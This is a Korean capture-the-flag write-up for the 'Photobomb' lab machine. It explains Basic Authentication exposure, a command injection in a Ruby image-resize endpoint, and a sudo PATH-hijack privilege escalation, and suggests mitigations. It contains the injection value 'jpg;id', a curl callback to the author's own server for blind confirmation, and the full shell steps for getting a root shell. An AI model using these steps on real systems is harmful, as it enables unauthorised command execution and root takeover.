Photobomb 문제를 풀면서 나왔던 취약점을 분석을 해봅시다.
Flag를 찾는 것도 중요하지만 왜 취약점이 터지는지 원인을 아는 것이 굉장히 중요하다고 생각합니다.❗️❗️❗️.
Basic Authentication
첫번째로 발견된 취약점은 Baisc Authentication 정보가 노출되었던 취약점입니다.
What is Basic Authentication?
Basic Authentication 기술은 HTTP에서 제공하는 인증 기술중 하나입니다. MDN에 따르면 HTTP는 엑세스 제어와 인증을 위한 프레임워크를 제공합니다. 그 중 가장 일반적인 방식이 Baisc 인증 입니다.
Basic 인증 구조
1
2
3
4
1. 클라이언트가 서버에 요청을 보냅니다.
2. 서버는 인증이 되지 않은 클라이언트에게 401 응답과 응답 헤더를 보냅니다.
3. 클라이언트는 서버에 요청과 함께 인증 정보를 요청 헤더에 넣어 전달합니다.
4. 올바른 인증이 완료 되었을 경우 서버는 200 응답과 알맞은 자원을 클라이언트에게 전달합니다. 
### WWW-Authenticate & Proxy-Authenticate 응답 헤더는 자원에 대한 액세스를 얻기 위해 사용되어야 할 인증 방법을 정의합니다. 이들은 인증을 하려는 클라이언트가 인증 정보를 제공할 방법을 알기 위해, 어떤 인증 스킴이 사용될 것인지를 구체적으로 적을 필요가 있습니다.
이들 헤더의 문법은 다음과 같으며 여기서 type은 인증 스킴입니다.
1
2
WWW-Authenticate <type> realm=<realm>
Proxy-Authenticate: <type> realm=<realm>
인증 스킴
Basic이 가장 일반적인 스킴입니다. Basic이외에도 Bearer, Digest, HOBA, Mutual 등이 있습니다.
Basic 인증은 Base64 인코딩되어 전송하기에 HTTP에서 사용하면 스니핑에 취약합니다. 따라서 https/tls 기술과 함께 사용되야합니다.
보안 대책
해당 취약점의 보안대책으로는 실제 서버 였다면 HTTPS/tls 기술 적용, Basic인증 우회 정보 노출 제거라고 생각합니다.
Command Injection
Command Injection이란 portswigger에 따르면 OS 명령 주입(쉘 명령 주입)이라고 하며 애플리케이션을 실행 중인 서버에 OS명령을 실행할 수 있는 취약점입니다.
Vulnerability point
Command Injection이 발견된 페이지 소스코드 입니다. 소스코드는 ruby언어로 이루어져 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
post '/printer' do
photo = params[:photo]
filetype = params[:filetype]
dimensions = params[:dimensions]
# handle inputs
if photo.match(/\.{2}|\//)
halt 500, 'Invalid photo.'
end
if !FileTest.exist?( "source_images/" + photo )
halt 500, 'Source photo does not exist.'
end
if !filetype.match(/^(png|jpg)/)
halt 500, 'Invalid filetype.'
end
if !dimensions.match(/^[0-9]+x[0-9]+$/)
halt 500, 'Invalid dimensions.'
end
case filetype
when 'png'
content_type 'image/png'
when 'jpg'
content_type 'image/jpeg'
end
filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype
response['Content-Disposition'] = "attachment; filename=#{filename}"
if !File.exists?('resized_images/' + filename)
command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
puts "Executing: #{command}"
system(command)
else
puts "File already exists."
end
if File.exists?('resized_images/' + filename)
halt 200, {}, IO.read('resized_images/' + filename)
end
#message = 'Failed to generate a copy of ' + photo + ' resized to ' + dimensions + ' with filetype ' + filetype
message = 'Failed to generate a copy of ' + photo
halt 500, message
end
❗️처리 되어있는 코드를 통해 Command Injection이 발생합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case filetype
when 'png'
content_type 'image/png'
when 'jpg'
content_type 'image/jpeg'
end
❗️filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype
response['Content-Disposition'] = "attachment; filename=#{filename}"
if !File.exists?('resized_images/' + filename)
❗️command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
❗️puts "Executing: #{command}" //
❗️system(command)
else
puts "File already exists."
end
filename은 photo 파라미터에서 확장을 제거 하고 _파일사이즈.파일타입을 붙입니다. 아래 예시를 통해 filename = glasses_10x10.png가 될 것입니다.
1
2
3
4
[example]
photo = glasses.jpg
dimensions = 10x10
filetyoe = png
command 변수에는 command = convert source_images/glasses.jpg -resize 10x10 resized_images/glasses_10x10.png;id 가 될 것입니다.
1
2
3
4
5
command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
puts "Executing: #{command}" //
system(command)
command = convert source_images/glasses.jpg -resize 10x10 resized_images/glasses_10x10.png
command 파라미터를 검증하는 로직이 보이지 않습니다. 만약에 command 명령을 통해 서버에서 이미지가 resized가 되는 과정에서 filetype 파라미터에 jpg;id를 넣게 된다면 command injection이 발생합니다.
리눅스에서 ;은 앞의 명령실행 후 뒤에 명령(id)를 실행을 하게 됩니다.
취약점 명령어 실행의 결과를 웹에서 쉘 실행 결과를 받아볼 수 가 없기 때문에 블라인드에선 찾기가 힘들꺼 같습니다.. 이런 경우 curl {내 서버} 로 요청을 보내 응답을 받았다면 쉘 명령이 실행되었음을 판단 할 수 있습니다.
보안 대책
해당 취약점의 보안 대책으로는 다음과 같다고 생각합니다.
- 입력값 유효성 검사(화이트리스트 방식)을 통해 서버에서 명령어가 실행되지 않도록 조치
특수문자 및 파이프라인( , &, ;등)이 입력값에 포함되어 있지 않는지 검사 및 필터링 조치
Privilege escalation
sudo -l 설명은 아래와 같습니다.
1
2
3
4
list user's privileges or check a specific command;
use twice for longer format
사용자의 권한을 나열하거나 특정 명령을 확인합니다.
sudo -l 결과는 다음과 같습니다.
1
2
3
4
5
6
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
cat /opt/cleanup.sh 명령어로 sh 파일 내용을 확인합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
맨 마지막 코드에서 권한 상승이 발생할 수 있습니다. 해당 명령어는 소유자가 source_images 폴더에서 root인 jpg파일을 찾습니다.
1
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
1
2
3
4
5
6
7
8
9
10
11
12
wizard@photobomb:~$ echo "/bin/bash" > find
//현재 디렉토리에 find 파일을 만듬
wizard@photobomb:~$ chmod +x find
//find에 실행권한 부여
wizard@photobomb:~$ echo "sudo PATH=$PWD:$PATH /opt/cleanup.sh
//기존 환경변수에 $PWD 추가함
//find 함수는 상대경로를 이용하여 파일을 찾는데 환경변수 PWD등록하므로 현재 디렉토리에 find 파일이 먼저 실행되므로 /bin/bash가 실행되어 권한상승이 일어남
wizard@photobomb:~$ id
id uid=0(root) gid=0(root) groups=0(root)
후기
많이 부족하므로 더 열심히 하자